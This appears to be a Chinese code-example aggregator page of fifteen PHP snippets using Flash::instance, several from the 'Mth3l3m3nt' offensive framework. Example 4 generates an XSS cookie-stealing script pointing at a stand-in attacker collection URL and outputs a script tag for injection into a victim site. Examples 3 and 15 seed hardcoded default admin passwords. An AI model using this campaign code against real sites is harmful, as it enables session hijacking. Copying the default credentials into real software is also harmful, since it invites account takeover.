本文整理汇总了PHP中Flash::instance方法的典型用法代码示例。如果您正苦于以下问题:PHP Flash::instance方法的具体用法?PHP Flash::instance怎么用?PHP Flash::instance使用的例子?那么恭喜您, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在类Flash
的用法示例。
在下文中一共展示了Flash::instance方法的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的PHP代码示例。
示例1: email
/**
* validate email address
* @param string $val
* @param string $context
* @param bool $mx
* @return bool
*/
function email($val, $context = null, $mx = true)
{
$valid = true;
if (!$context) {
$context = 'error.validation.email';
}
if (!empty($val)) {
if (!\Audit::instance()->email($val, false)) {
$val = NULL;
if (!$this->f3->exists($context . '.invalid', $errText)) {
$errText = 'e-mail is not valid';
}
$this->f3->error(400, $errText);
$valid = false;
} elseif ($mx && !\Audit::instance()->email($val, true)) {
$val = NULL;
if (!$this->f3->exists($context . '.host', $errText)) {
$errText = 'unknown mail mx.host';
}
$this->f3->error(400, $errText);
$valid = false;
}
}
if (!$valid) {
\Flash::instance()->setKey($context, 'has-error');
}
return $valid;
}
示例2: render
function render()
{
// Clean all output given first
while (ob_get_level()) {
ob_end_clean();
}
$f3 = \Base::instance();
$f3->set('headline', 'Error ' . $f3->get('ERROR.code'));
$f3->set('text', $f3->get('ERROR.text'));
$f3->set('ESCAPE', false);
if ($f3->get('AJAX')) {
die(json_encode(array('error' => $f3->get('ERROR.text'))));
}
if ($f3->get('ERROR.code') == 400) {
\Flash::instance()->addMessage($f3->get('ERROR.text'), 'warning');
$f3->set('HALT', false);
return;
} elseif ($f3->get('ERROR.code') == 404) {
$f3->set('headline', 'Page not found');
} elseif ($f3->get('ERROR.code') == 405) {
$f3->set('headline', 'This action is not allowed');
} elseif ($f3->get('ERROR.code') == 500) {
$f3->set('headline', 'Internal Server Error');
if ($f3->get('DEV')) {
$f3->set('trace', $f3->highlight($f3->get('ERROR.trace')));
}
@mail($f3->get('error_mail'), 'Mth3l3m3nt Framework Error', $f3->get('ERROR.text') . "\n\n" . $f3->get('ERROR.trace'));
}
$f3->set('LAYOUT', 'error.html');
$f3->set('HALT', true);
echo \Template::instance()->render('themes/default/layout.html');
}
示例3: install
public function install($db_type)
{
$f3 = \Base::instance();
$db_type = strtoupper($db_type);
if ($db = storage::instance()->get($db_type)) {
$f3->set('DB', $db);
} else {
$f3->error(256, 'no valid DB specified');
}
// setup the models
\Model\Post::setup();
\Model\Tag::setup();
\Model\Comment::setup();
\Model\User::setup();
// create demo admin user
$user = new \Model\User();
$user->load(array('username = ?', 'admin'));
if ($user->dry()) {
$user->username = 'admin';
$user->name = 'Administrator';
$user->password = 'fabulog';
$user->save();
\Flash::instance()->addMessage('Admin User created,' . ' username: admin, password: fabulog', 'success');
}
\Flash::instance()->addMessage('Setup complete', 'success');
}
示例4: create_campaign
/**
* @param \Base $f3
* Description This function will be used to create the necessary script needed to hook a page.
*/
function create_campaign(\Base $f3)
{
$web = \Web::instance();
$this->response->data['SUBPART'] = 'xssrc_campaign.html';
if ($f3->get('VERB') == 'POST') {
$error = false;
if ($f3->devoid('POST.targetUrl')) {
$error = true;
\Flash::instance()->addMessage('Please enter a Target url to test access once you steal cookies e.g. http://victim.mth3l3m3nt.com/admin', 'warning');
} else {
$target_url = $f3->get('POST.targetUrl');
$c_host = parse_url($target_url, PHP_URL_HOST);
$template_src = $f3->ROOT . $f3->BASE . '/scripts/attack_temp.mth3l3m3nt';
$campaign_file = $f3->ROOT . $f3->BASE . '/scripts/' . $c_host . '.js';
$campaign_address = $f3->SCHEME . "://" . $f3->HOST . $f3->BASE . '/scripts/' . $c_host . '.js';
$postHome = $f3->SCHEME . "://" . $f3->HOST . $f3->BASE . '/xssr';
copy($template_src, $campaign_file);
$unprepped_contents = file_get_contents($campaign_file);
$unprepped_contents = str_replace("http://attacker.mth3l3m3nt.com/xssr", $postHome, $unprepped_contents);
$unprepped_contents = str_replace("http://victim.mth3l3m3nt.com/admin/", $target_url, $unprepped_contents);
file_put_contents($campaign_file, $unprepped_contents);
$instructions = \Flash::instance()->addMessage('Attach the script to target e.g. <script src="' . $campaign_address . '"></script>', 'success');
$this->response->data['content'] = $instructions;
}
}
}
示例5: getInstance
public static function getInstance()
{
if (!self::$instance) {
self::$instance = new Flash();
}
return self::$instance;
}
示例6: instance
public static function instance()
{
if (Flash::$instance === NULL) {
Flash::$instance = new Flash();
}
return Flash::$instance;
}
示例7: login
/**
* Login Procedure
* @param $f3
* @param $params
*/
public function login($f3, $params)
{
if ($f3->exists('POST.username') && $f3->exists('POST.password')) {
sleep(3);
// login should take a while to kick-ass brute force attacks
$user = new \Model\User();
$user->load(array('username = ?', $f3->get('POST.username')));
if (!$user->dry()) {
// check hash engine
$hash_engine = $f3->get('password_hash_engine');
$valid = false;
if ($hash_engine == 'bcrypt') {
$valid = \Bcrypt::instance()->verify($f3->get('POST.password'), $user->password);
} elseif ($hash_engine == 'md5') {
$valid = md5($f3->get('POST.password') . $f3->get('password_md5_salt')) == $user->password;
}
if ($valid) {
@$f3->clear('SESSION');
//recreate session id
$f3->set('SESSION.user_id', $user->_id);
if ($f3->get('CONFIG.ssl_backend')) {
$f3->reroute('https://' . $f3->get('HOST') . $f3->get('BASE') . '/');
} else {
$f3->reroute('/cnc');
}
}
}
\Flash::instance()->addMessage('Wrong Username/Password', 'danger');
}
$this->response->setTemplate('templates/login.html');
}
示例8: init
/**
* Init Flash service
*
* @param void
* @return null
*/
function init()
{
if (isset($this) && instance_of($this, 'Flash')) {
$this->readFlash();
} else {
$instance =& Flash::instance();
$instance->init();
}
// if
}
示例9: getSingle
/**
* @param \Base $f3
* @param array $params
* @return bool
*/
public function getSingle(\Base $f3, $params)
{
$this->response->data['SUBPART'] = 'comment_edit.html';
if (isset($params['id'])) {
$this->response->data['comment'] = $this->resource->load(array('_id = ?', $params['id']));
if (!$this->resource->dry()) {
return true;
}
}
\Flash::instance()->addMessage('Unknown Comment ID', 'danger');
$f3->reroute($f3->get('SESSION.LastPageURL'));
}
示例10: delete
public function delete()
{
$flash = Flash::instance();
$event = $this->_templateobject;
$event->load($this->_data['id']);
if ($event->delete()) {
$flash->addMessage('Event deleted successfully');
sendTo('crmcalendars', 'index', $this->_modules);
} else {
$flash->addError('Failed to delete event');
sendBack();
}
}
示例11: delete
public function delete(\Base $f3, $params)
{
$this->resource->reset();
$msg = \Flash::instance();
if (isset($params['id'])) {
$this->resource->load(array('_id = ?', $params['id']));
if ($f3->get('HOST') == 'ikkez.de' && !$this->resource->dry() && $this->resource->username == 'admin') {
$msg->addMessage("You are not allowed to delete the demo-admin", 'danger');
$f3->reroute('/admin/' . $params['module']);
return;
}
parent::delete($f3, $params);
}
$f3->reroute($f3->get('SESSION.LastPageURL'));
}
示例12: delete
/**
* delete a record
* @param \Base $f3
* @param array $params
*/
public function delete(\Base $f3, $params)
{
$this->resource->reset();
$flash = \Flash::instance();
if (isset($params['id'])) {
$this->resource->load(array('_id = ?', $params['id']));
if ($this->resource->dry()) {
$flash->addMessage('No record found with this ID.', 'danger');
} else {
$this->resource->erase();
$flash->addMessage("Record deleted.", 'success');
}
}
$f3->reroute($f3->get('SESSION.LastPageURL'));
}
示例13: generic_request
public function generic_request(\Base $f3)
{
$web = \Web::instance();
$this->response->data['SUBPART'] = 'websaccre_generic_request.html';
$audit_instance = \Audit::instance();
if ($f3->get('VERB') == 'POST') {
$error = false;
if ($f3->devoid('POST.url')) {
$error = true;
\Flash::instance()->addMessage('Please enter a url e.g. http://africahackon.com', 'warning');
} else {
$audited_url = $audit_instance->url($f3->get('POST.url'));
if ($audited_url == TRUE) {
/**
*
Shared Hosting Servers Have an issue ..safemode and openbasedir setr and curl gives error enable the lines below and comment out the $request_successful one
$options = array('follow_location'=>FALSE);
$request_successful=$web->request($f3->get('POST.url'),$options);
*
*/
//handle POST data
$postReceive = $f3->get('Post.postReceive');
$postData = explode("&", $postReceive);
$postData = array_map("trim", $postData);
$address = $f3->get('POST.url');
if ($f3->get('POST.means') == "POST") {
$options = array('method' => $f3->get('POST.means'), 'content' => http_build_query($postData));
} else {
$options = array('method' => $f3->get('POST.means'));
}
$request_successful = $web->request($address, $options);
if (!$request_successful) {
\Flash::instance()->addMessage('You have entered an invalid URL try something like: http://africahackon.com', 'warning');
} else {
$result_body = $request_successful['body'];
$result_headers = $request_successful['headers'];
$engine = $request_successful['engine'];
$headers_max = implode("\n", $result_headers);
$myFinalRequest = "Headers: \n\n" . $headers_max . "\n\n Body:\n\n" . $result_body . "\n\n Engine Used: " . $engine;
$this->response->data['content'] = $myFinalRequest;
}
} else {
\Flash::instance()->addMessage('You have entered an invalid URL try something like: http://africahackon.com', 'danger');
}
}
}
}
示例14: generic_request
/**
* Handles Your little Hurl.it like service to make requests to remote servers using various methods
* @package Controller
*/
public function generic_request(\Base $f3)
{
$web = \Web::instance();
$this->response->data['SUBPART'] = 'websaccre_generic_request.html';
$audit_instance = \Audit::instance();
if ($f3->get('VERB') == 'POST') {
$error = false;
if ($f3->devoid('POST.url')) {
$error = true;
\Flash::instance()->addMessage('Please enter a url e.g. http://africahackon.com', 'warning');
} else {
$audited_url = $audit_instance->url($f3->get('POST.url'));
if ($audited_url == TRUE) {
//handle POST data
$postReceive = $f3->get('POST.postReceive');
$createPostArray = parse_str($postReceive, $postData);
if (ini_get('safe_mode')) {
$follow_loc = FALSE;
} else {
$follow_loc = TRUE;
}
$address = $f3->get('POST.url');
if ($f3->get('POST.means') == "POST") {
$options = array('method' => $f3->get('POST.means'), 'content' => http_build_query($postData), 'follow_location' => $follow_loc);
$request_successful = $web->request($address, $options);
} elseif ($f3->get('POST.means') == "GET" or $f3->get('POST.means') == "TRACE" or $f3->get('POST.means') == "OPTIONS" or $f3->get('POST.means') == "HEAD") {
$options = array('method' => $f3->get('POST.means'), 'follow_location' => $follow_loc);
$request_successful = $web->request($address, $options);
} else {
\Flash::instance()->addMessage('Unsupported Header Method', 'danger');
}
if (!$request_successful) {
\Flash::instance()->addMessage('Something went wrong your request could not be completed.', 'warning');
} else {
$result_body = $request_successful['body'];
$result_headers = $request_successful['headers'];
$engine = $request_successful['engine'];
$headers_max = implode("\n", $result_headers);
$myFinalRequest = "Headers: \n\n" . $headers_max . "\n\n Body:\n\n" . $result_body . "\n\n Engine Used: " . $engine;
$this->response->data['content'] = $myFinalRequest;
}
} else {
\Flash::instance()->addMessage('You have entered an invalid URL try something like: http://africahackon.com', 'danger');
}
}
}
}
示例15: install
/**
* Installs tables with default user
* @param $db_type
*/
public function install($db_type)
{
$f3 = \Base::instance();
$db_type = strtoupper($db_type);
if ($db = DBHandler::instance()->get($db_type)) {
$f3->set('DB', $db);
} else {
$f3->error(256, 'no valid Database Type specified');
}
// setup the models
\Model\User::setup();
\Model\Payload::setup();
\Model\Webot::setup();
// create demo admin user
$user = new \Model\User();
$user->load(array('username = ?', 'mth3l3m3nt'));
if ($user->dry()) {
$user->username = 'mth3l3m3nt';
$user->name = 'Framework Administrator';
$user->password = 'mth3l3m3nt';
$user->email = 'placeholder_mail@mth3l3m3nt.com';
$user->save();
//migrate payloads successfully
$payload_file = $f3->ROOT . $f3->BASE . '/db_dump_optional/mth3l3m3nt_payload';
if (file_exists($payload_file)) {
$payload = new \Model\Payload();
$payload_file_data = $f3->read($payload_file);
$payloadarray = json_decode($payload_file_data, true);
foreach ($payloadarray as $payloaddata) {
$payload->pName = $payloaddata['pName'];
$payload->pType = $payloaddata['pType'];
$payload->pCategory = $payloaddata['pCategory'];
$payload->pDescription = $payloaddata['pDescription'];
$payload->payload = $payloaddata['payload'];
$payload->save();
//ensures values set to null before continuing update
$payload->reset();
}
//migtate payloads
\Flash::instance()->addMessage('Payload StarterPack: ,' . 'All Starter Pack Payloads added New database', 'success');
} else {
\Flash::instance()->addMessage('Payload StarterPack: ,' . 'StarterPack Database not Found no payloads installed ', 'danger');
}
\Flash::instance()->addMessage('Admin User created,' . ' username: mth3l3m3nt, password: mth3l3m3nt', 'success');
}
\Flash::instance()->addMessage('New Database Setup Completed', 'success');
}